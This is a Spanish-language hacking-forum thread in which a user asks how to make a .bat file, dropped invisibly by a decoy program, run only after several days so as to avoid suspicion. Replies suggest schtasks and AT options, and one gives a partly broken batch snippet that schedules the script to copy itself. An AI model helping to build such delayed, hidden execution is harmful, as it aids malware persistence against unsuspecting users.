elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 07:01  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  Consulta sobre comando Schtasks
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Consulta sobre comando Schtasks  (Leído 2,477 veces)
Dr.HARK

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Consulta sobre comando Schtasks
« en: 3 Febrero 2010, 05:25 »

 -Hola, que tal??
 -La cuestión es la siguiente necesito ejecutar un bat pero que se active con retraso, supongamos la persona ejecuta el programa señuelo y el bat se copia de forma invisible a X carpeta, pues que este se empiece a ejecutar pero pasados X días.
 -Usando el comando Schtasks he podido programarlo para que se ejecute X día, a X hora, y que se repita las veces que desee, pero me obliga a tener que recompilarlo pasado esa fecha, tiene que ser una función que lo active pasado X cantidad de días a partir de la ejecución del programa señuelo sin imponer una fecha fija.    
 - Desde ya muchas gracias por sus sugerencias, Saludos atté.


En línea
sultanovich

Desconectado Desconectado

Mensajes: 17



Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #1 en: 4 Febrero 2010, 02:20 »

si entiendo bien queres que el comando schtasks se ejecute si se cumple una condicion. es asi?

Si es asi, podrias generar un .bat que verifique esta condicion y luego ejecute el schtasks.


Saludos,


En línea

Dr.HARK

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #2 en: 4 Febrero 2010, 06:46 »

 -No, pongamoslo simple: cual seria la sintaxis para una función que me ejecute un bat pasados 10 días sea cual fuese la fecha de origen, o en su defecto pasados X cantidad de reinicios del sistema, no en el próximo reinicio porque es muy pronto (en el próximo si es fácil programarla).
En línea
---saster---

Desconectado Desconectado

Mensajes: 55


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #3 en: 4 Febrero 2010, 17:35 »

muy facil el schtasks viene con un parametro que es el /I, tiempo de inactividad y es el tiempo que hay que esperar antes de que se ejecute el parametro

Código:
C:\>schtasks /Create /?

Saludos
En línea
Dr.HARK

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #4 en: 5 Febrero 2010, 02:37 »

 -No tan fácil.... te explico, lo del parámetro /I especifica cuántos minutos el equipo está inactivo antes de que la tarea comience, se debe escribir un número entero entre 1 y 999, el parámetro sólo es válido con una programación ONIDLE y a continuación, se lo requiere.
 -Ademas decirte que el limite máximo soportado en está programación de 999 minutos se corresponde a solo 16 horas, lo cual me da poco margen.
 -Te agradezco de todas formas la sugerencia, seria la más indicada y valida si el parámetro /I no estuviera topeado de dicha forma.
 -La idea es encontrar una solución similar (ó no) pero que habilite unos días antes de activarse para evitar sospechas.
 -Espero sigan aportando ideas para que entre todos podamos dilucidar dicho problema....             
En línea
Dr.HARK

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #5 en: 5 Febrero 2010, 02:57 »

 -Me gustaría que el mod  Leo Gutiérrez interviniese aportando algún code que permita resolver de forma correcta dicho problema, me refiero a  Leo Gutiérrez por sus indiscutibles conocimientos sobre el tema, pero la cuestión esta abierta para cualquiera que tenga una idea clara sobre como dilucidar el tema.
  -Saludos atté....
En línea
---saster---

Desconectado Desconectado

Mensajes: 55


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #6 en: 5 Febrero 2010, 17:12 »

mmm es verdad con el parametro /i solo tienes unas pocas horas



mira este codigo, la idea es que saca la hora del bat, le suma los dias que quieras y se ejecuta a ese dia  :rolleyes:

Código
@echo off
setlocal enabledelayedexpansion
for /f "tokens=*" %%a in ("%~t0") do (call:script %%a)
at /next %fecha% start copy /y %~0 "%homedrive:\folder" >nul 2>&1
pause>nul & exit
:script
set var=%~1
set "var=!var%:/=-!"
set "var=!var:~0,2!
set "fecha=%var%+5"

::pongo 5 pero puedes poner mas dias

 
goto:eof
 
En línea
Dr.HARK

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #7 en: 6 Febrero 2010, 02:51 »

 -Ok, lo voy a estudiar y hacerle un par de pruebas a ver como lo implemento en mi código,  Saludos... 
En línea
-- KiLiaN --


Desconectado Desconectado

Mensajes: 541



Ver Perfil
Re: Consulta sobre comando Schtasks
« Respuesta #8 en: 6 Febrero 2010, 21:30 »

Podrias crear un .bat que se ejecutara al inicio y leyera el dia en el que esta si es igual al dia que tu quieres que se ejecute pues lo hara si no pues no..o como han dicho utilizar la fecha en la que esta el sistema y sumarle las horas o los dias que quieras que pasen y crear una tarea para que se ejecute ese dia con el comando AT pero tienes que tener en cuenta que debe tener activado el servicio del programador de tareas..
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Sobre COmando de MSD PROBLEMA
Dudas Generales
xtrolx 0 540 Último mensaje 1 Marzo 2011, 20:27
por xtrolx
Sobre COmando de MSD PRoblema
Hacking Wireless
xtrolx 0 589 Último mensaje 1 Marzo 2011, 20:53
por xtrolx
Sobre el comando 'build-dep'
GNU/Linux
Osorpoca 1 1,325 Último mensaje 16 Marzo 2011, 03:13
por El As del Club Paris
opcion batch o vbs en sustitucion de schtasks.
Scripting
ald140876 9 698 Último mensaje 26 Marzo 2012, 07:26
por EleKtro H@cker
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines